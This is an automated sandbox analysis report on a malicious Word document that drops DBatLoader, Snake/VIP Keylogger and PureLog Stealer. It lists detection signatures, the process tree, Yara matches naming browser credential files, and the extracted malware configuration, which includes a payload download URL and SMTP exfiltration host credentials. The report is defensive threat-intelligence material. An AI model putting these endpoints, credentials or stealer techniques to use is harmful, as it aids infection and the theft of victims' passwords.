Edit tour

Windows Analysis Report
ITT # KRPBV2663 .doc

Overview

General Information

Sample name:	ITT # KRPBV2663 .doc
Analysis ID:	1584675
MD5:	754c08a32cbfe16e0982b5b56835e247
SHA1:	7338cada263faae3d79631efa1c895bf690a4eb3
SHA256:	d9980559077d0cf6e251608efa44277ac5cd2b64236ecc31b352a93992e2f2b7
Tags:	docuser-abuse_ch
Infos:

Detection

DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DBatLoader

Yara detected PureLog Stealer

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains method to dynamically call methods (often used by packers)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document exploit detected (process start blacklist hit)

Drops PE files with a suspicious file extension

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for sample

Office process drops PE file

Office process queries suspicious COM object (likely to drop second stage)

Sample is not signed and drops a device driver

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Suspicious Program Location with Network Connections

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 3732 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

brightness.exe (PID: 5560 cmdline: C:\Windows\SysWOW64\brightness.exe MD5: 6047499517804F1EA76B508CA469DE99)

cmd.exe (PID: 4676 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

jphwmyiA.pif (PID: 7208 cmdline: C:\Users\Public\Libraries\jphwmyiA.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

Aiymwhpj.PIF (PID: 7708 cmdline: "C:\Users\Public\Libraries\Aiymwhpj.PIF" MD5: 6047499517804F1EA76B508CA469DE99)

cmd.exe (PID: 7760 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

jphwmyiA.pif (PID: 7820 cmdline: C:\Users\Public\Libraries\jphwmyiA.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

Aiymwhpj.PIF (PID: 7920 cmdline: "C:\Users\Public\Libraries\Aiymwhpj.PIF" MD5: 6047499517804F1EA76B508CA469DE99)

cmd.exe (PID: 7964 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

jphwmyiA.pif (PID: 8016 cmdline: C:\Users\Public\Libraries\jphwmyiA.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["http://amazonenviro.com/245_Aiymwhpjxsg"]}

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.2166181878.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f6da:$a1: get_encryptedPassword 0x3f6ae:$a2: get_encryptedUsername 0x3f772:$a3: get_timePasswordChanged 0x3f68a:$a4: get_passwordField 0x3f6f0:$a5: set_encryptedPassword 0x3f4bd:$a7: get_logins 0x3ab0a:$a10: KeyLoggerEventArgs 0x3aad9:$a11: KeyLoggerEventArgsEventHandler 0x3f591:$a13: _encryptedPassword
0000000A.00000002.3761815034.00000000221C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3761815034.00000000221C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3b26a:$a1: get_encryptedPassword 0x3b23e:$a2: get_encryptedUsername 0x3b302:$a3: get_timePasswordChanged 0x3b21a:$a4: get_passwordField 0x3b280:$a5: set_encryptedPassword 0x3b04d:$a7: get_logins 0x3669a:$a10: KeyLoggerEventArgs 0x36669:$a11: KeyLoggerEventArgsEventHandler 0x3b121:$a13: _encryptedPassword
00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000001.2327344722.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000007.00000002.2130519568.00000000020F6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
0000000A.00000002.3731530309.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000013.00000002.3731782871.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f162:$a1: get_encryptedPassword 0x3f136:$a2: get_encryptedUsername 0x3f1fa:$a3: get_timePasswordChanged 0x3f112:$a4: get_passwordField 0x3f178:$a5: set_encryptedPassword 0x3ef45:$a7: get_logins 0x3a592:$a10: KeyLoggerEventArgs 0x3a561:$a11: KeyLoggerEventArgsEventHandler 0x3f019:$a13: _encryptedPassword
0000000F.00000001.2248691179.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x80148:$a1: get_encryptedPassword 0x8011c:$a2: get_encryptedUsername 0x801e0:$a3: get_timePasswordChanged 0x800f8:$a4: get_passwordField 0x8015e:$a5: set_encryptedPassword 0x7ff2b:$a7: get_logins 0x7b578:$a10: KeyLoggerEventArgs 0x7b547:$a11: KeyLoggerEventArgsEventHandler 0x7ffff:$a13: _encryptedPassword
0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3f76a:$a1: get_encryptedPassword 0x3f73e:$a2: get_encryptedUsername 0x3f802:$a3: get_timePasswordChanged 0x3f71a:$a4: get_passwordField 0x3f780:$a5: set_encryptedPassword 0x3f54d:$a7: get_logins 0x3ab9a:$a10: KeyLoggerEventArgs 0x3ab69:$a11: KeyLoggerEventArgsEventHandler 0x3f621:$a13: _encryptedPassword
0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x4a86e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49f11:$a3: \Google\Chrome\User Data\Default\Login Data 0x4a16e:$a4: \Orbitum\User Data\Default\Login Data 0x4ab4d:$a5: \Kometa\User Data\Default\Login Data
0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3d312:$s1: UnHook 0x3d2ae:$s2: SetHook 0x3d2e7:$s3: CallNextHook 0x3d276:$s4: _hook
0000000F.00000002.3731678723.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 B6 88 44 24 2B 88 44 24 2F B0 D9 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000013.00000001.2327344722.0000000000B90000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
0000000F.00000002.3731678723.0000000000B90000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x80148:$a1: get_encryptedPassword 0x8011c:$a2: get_encryptedUsername 0x801e0:$a3: get_timePasswordChanged 0x800f8:$a4: get_passwordField 0x8015e:$a5: set_encryptedPassword 0x7ff2b:$a7: get_logins 0x7b578:$a10: KeyLoggerEventArgs 0x7b547:$a11: KeyLoggerEventArgsEventHandler 0x7ffff:$a13: _encryptedPassword
0000000A.00000002.3731530309.0000000000C20000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000001.2128731771.0000000000C20000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000013.00000002.3761096680.0000000023881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.3761096680.0000000023881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000001.2248691179.0000000000B90000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
